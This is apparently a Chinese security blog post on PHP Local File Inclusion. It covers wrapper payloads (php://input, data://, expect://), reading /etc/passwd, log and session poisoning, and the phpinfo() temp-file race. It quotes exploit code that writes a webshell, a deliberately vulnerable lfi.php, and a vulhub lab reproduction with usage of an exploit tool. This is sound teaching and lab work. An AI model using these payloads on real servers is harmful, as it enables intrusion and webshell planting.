0%

PHP LFI abuse

LFI: Local File Inclusion 文件包含漏洞

LFI 常见利用方式

利用LFI实现code execution的关键是能够把文件写入服务器上的本地文件中,常见的方法有:

  1. 包含上传的文件:这是最直接的方式,利用网站的文件上传功能(例如头像上传),上传包含PHP代码的文件(伪装成图片等),然后通过LFI漏洞包含该文件,难点是需要找到文件保存的位置

  2. php://伪协议:php伪协议是PHP提供的特殊协议, 可阅读这里: PHP Wrapper 利用

    1. php://filter/convert.base64-encode/resource=/etc/passwd常被用来绕过直接文件路径访问的限制
    2. php://input会读取原始POST请求体,在post数据中嵌入php代码, 会将POST数据作为输入流包含,从而实现代码执行,如
    1
    2
    3
    4
    5
    6
    GET /vuln.php?file=php://input HTTP/1.1
    Host: example.com
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 20

    <?php system('id'); ?>
    1. data://允许以数据流形式提供内容, 如 data://text/plain,<?php system('id'); ?>")可以直接在URL中嵌入php代码,一般常用方式还有使用base64编码绕过
    2. file://是默认的文件访问协议, 如 file:///etc/passwd可以读取本地文件,但是无法直接执行代码
    3. excepct://允许执行指定命令,并将输出作为输入流,如 excepect://whoami直接执行系统命令
  3. 包含日志文件:如果我们能够读取像httpd service log、ssh log的权限的话,可以通过向其中注入恶意代码的方式来利用,前提是需要有权限,因为日志文件通常在server 根目录外

  4. proc/self/environ:Linux系统中程序运行时环境变量(包括HTTP头),在请求中将php代码放入Header中(如User-Agent), 然后通过LFI包含 proc/self/environ

  5. 包含 session file: 通过会话投毒控制会话内容,将php代码注入session文件中,和包含日志文件类似需要知道会话文件位置和名称,并且需要有足够权限

LFI临时文件

如果我们无法手动上传文件也无法找到可以利用的文件,还有一种利用方式是利用临时文件包含,达到执行命令的目的。

LFI2RCE via PHPinfo()

在2011年INSOMNIASEC公布的Research Paper中,基于Gynvael Coldwind提出的PHP_LFI_rfc1867_temporary_files提出来针对PHPinfo()上传文件的攻击方式:LFI WITH PHPINFO() ASSISTANCE, 在Paper中给出了完整的在linux环境下的利用代码。

利用前提

  • file_uploads: on(php 4.3起默认开始)
  • phpinfo() accessable
  • LFI Vulnerablity

利用过程:

当我们通过POST请求向任意PHP文件上传文件时,PHP都会accept, 并把它存储在一个临时文件夹下,直到当前request完全结束时,会把这个临时文件删除,如果我们可以在请求结束之前获取到文件路径和临时文件名(linux下通常是 /tmp/php[6*random digits],Windows下一般是 C:\Windows\Temp, 具体路径可以在upload_tmp_dir中指定),那么就可以通过LFI来利用它。

这种方式的挑战在于时间窗口,临时文件在脚本执行结束后会被删除,攻击需要在文件存在期间完成,需要在临时文件被删除之前找到它并成功执行LFI包含。

Windows FindFirstFile

Gynvael Coldwind使用 FindFirstFile quirk在Windows环境下来找到上传的临时文件,FindFirstFile是Windows API的一个函数,用于查找指定目录中匹配某个pattern的第一个文件,在Windows下,当php执行文件包含操作(include或require)时,底层会调用包括 FindFirstFile在内的Windows的文件系统API来解析和定位目标文件。而文件包含支持通配符: <表示 *(任意字符),>表示 ?(单个字符), 因此可以直接在上传文件的同时,请求 /lfi.php?inc=C:\Windows\Temp\php<< 匹配并包含临时文件执行代码。

PHPinfo()

但是在GNU/Linux下没有类似FindFirstFile的特性,很难在时间窗口内遍历所有随机生成的文件名。然而当我们向phpinfo() 上传文件时,Phpinfo会输出上下文中所有变量,在PHP Variables部分可以直接看到所上传临时文件的信息,其中就包含了文件路径和文件名。

PHP使用缓冲区 buffering来提高数据传输效率,默认情况下buffer被启用,大小被设置为4096。当返回数据超出设定的buffer大小时,会采用分块传输Chunk的方式返回部分内容。只要我们能保证phpinfo()返回的数据会远大于这个阈值,就可以增加请求处理的时间,我们在请求内容和请求头中增加大量的垃圾数据,然后使用Scoket控制单次读取的大小,再成功获取到tmpdir和file name之后,立即请求LFI包含临时文件,利用时间差达到远程代码执行的目的。

代码核心部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# phpinforeq 为 POST /phpinfo.php?a=xx 用来上传文件,文中是在/tmp/g文件中写入webshell
# lfireq 为 GET /lfi.php?file=xx 用来请求临时文件,执行任务代码
# offset:临时文件名tmp_name在phpinfo()返回信息的所处chunk的偏移位置,用来定位需要socket.recv多少次可以读到tmp_name
# tag: 在文中为: Security Test, 在请求文件包含后用来校验代码有没有被执行成功
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
# 使用原生的socket,控制在读到tmp_name后立即尝试执行文件包含
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, port))
s2.connect((host, port))

# 上传恶意代码,文中是在/tmp/g文件中写入webshell,读取临时文件路径
s.send(phpinforeq)
d = ""
# 根据offset读取到包含tmp_name所处位置的数据
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ") # offset实际上也是使用index()获取的基础值+256的padding
fn = d[i+17:i+31] # 截取临时文件名
except ValueError:
return None

# 立即执行文件包含执行恶意代码
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()

if d.find(tag) != -1:
return fn

复现

环境搭建

感谢:https://github.com/vulhub/vulhub/tree/master/php/inclusion

克隆项目后 docker compose up -d 启动docker环境

LFI:http://127.0.0.1:8000/lfi.php?file=xxx

Phpinfo: http://127.0.0.1:8000/phpinfo.php

执行作者准备好的exp: python2 exp.py 127.0.0.1 8000即可成功上传webshell, exp基本和paper中提供的一样,除了修改了上传文件名和webshell的参数名,作者在README中对漏洞原理介绍也很清晰明了

小插曲

执行exp: python2 exp.py 127.0.0.1 8000, 执行了几次后发现无法成功,在lfi.php中增加错误信息输出:

1
2
3
4
5
<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
include $_REQUEST['file'];
?>

排查过程中发现了另一个问题,在exp.py所在目录下创建test.txt文件 http://127.0.0.1:8000/lfi.php?file=``test.txt可以正常include

但是直接在/tmp目录下新建test.txt后 http://127.0.0.1:8000/lfi.php?file=``/tmp/test.txt返回错误:

Warning : include(/tmp/test.txt): Failed to open stream: No such file or directory in /var/www/html/lfi.phpon line4

但是/tmp/test.txt明明存在,后来发现是 PrivateTmp的问题,简单说就是apache2进程是systemd启动的,systemd会因为安全性考虑,在privatetmp=true的情况下,不使用公用的/tmp目录以及/var/tmp,进程用于自己的独立的目录以及相应的权限。

1
2
3
4
5
cat /lib/systemd/system/apache2.service | grep PrivateTmp
PrivateTmp=true

systemctl daemon-reload
sudo systemctl restart apache2

最终发现只是因为成功率比较低,失败的话多执行几次就可以了 :)

lif_abuse.py

https://github.com/Yiaos/php_lfi_abuse

基于paper中的实现,抄袭众多github lfi相关代码做了一些简单优化:

  1. 使用python3
  2. 支持-lfi和-phpinfo参数中指定lfi和phpinfo路径
  3. 支持windows和linux系统下此方式的利用 -platform可指定平台,同时支持-tmp_dir指定临时目录地址
  4. 获取临时文件名从硬编码长度方式改为正则匹配获取以适应不同平台的场景
  5. 抄袭lfito_rceLFI2RCElfi2rce支持枚举日志文件、系统文件

使用方式

1
python lfi_abuse.py <host> <port> -lfi <lfi_path> [options]

利用LFI和phpinfo()写入webshell

1
python lfi_abuse.py 127.0.0.1 80 -lfi "/lfi.php?file=" -p "linux" -tmp_dir "/tmp" -phpinfo "/phpinfo.php"

利用LFI枚举信息

1
python lfi_abuse.py 127.0.0.1 80 -lfi "/lfi.php?file=" -enum-files -p "linux"

参考

  1. INSOMNIASEC Research Paper: https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
  2. Gynvael Coldwind LFI原文: https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf
  3. Github Repositories:
    1. https://github.com/vulhub/vulhub/tree/master/php/inclusion
    2. https://github.com/roughiz/lfito_rce
    3. https://github.com/takabaya-shi/LFI2RCE
    4. https://github.com/0bfxgh0st/lfi2rce
  4. phpwrap: https://www.angelwhu.com/paper/2016/06/13/phpinfo-lfi-upload-shell/#0x00-%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86
  5. https://qkxu.github.io/2022/03/16/systemd%E4%B9%8BPrivateTmp.html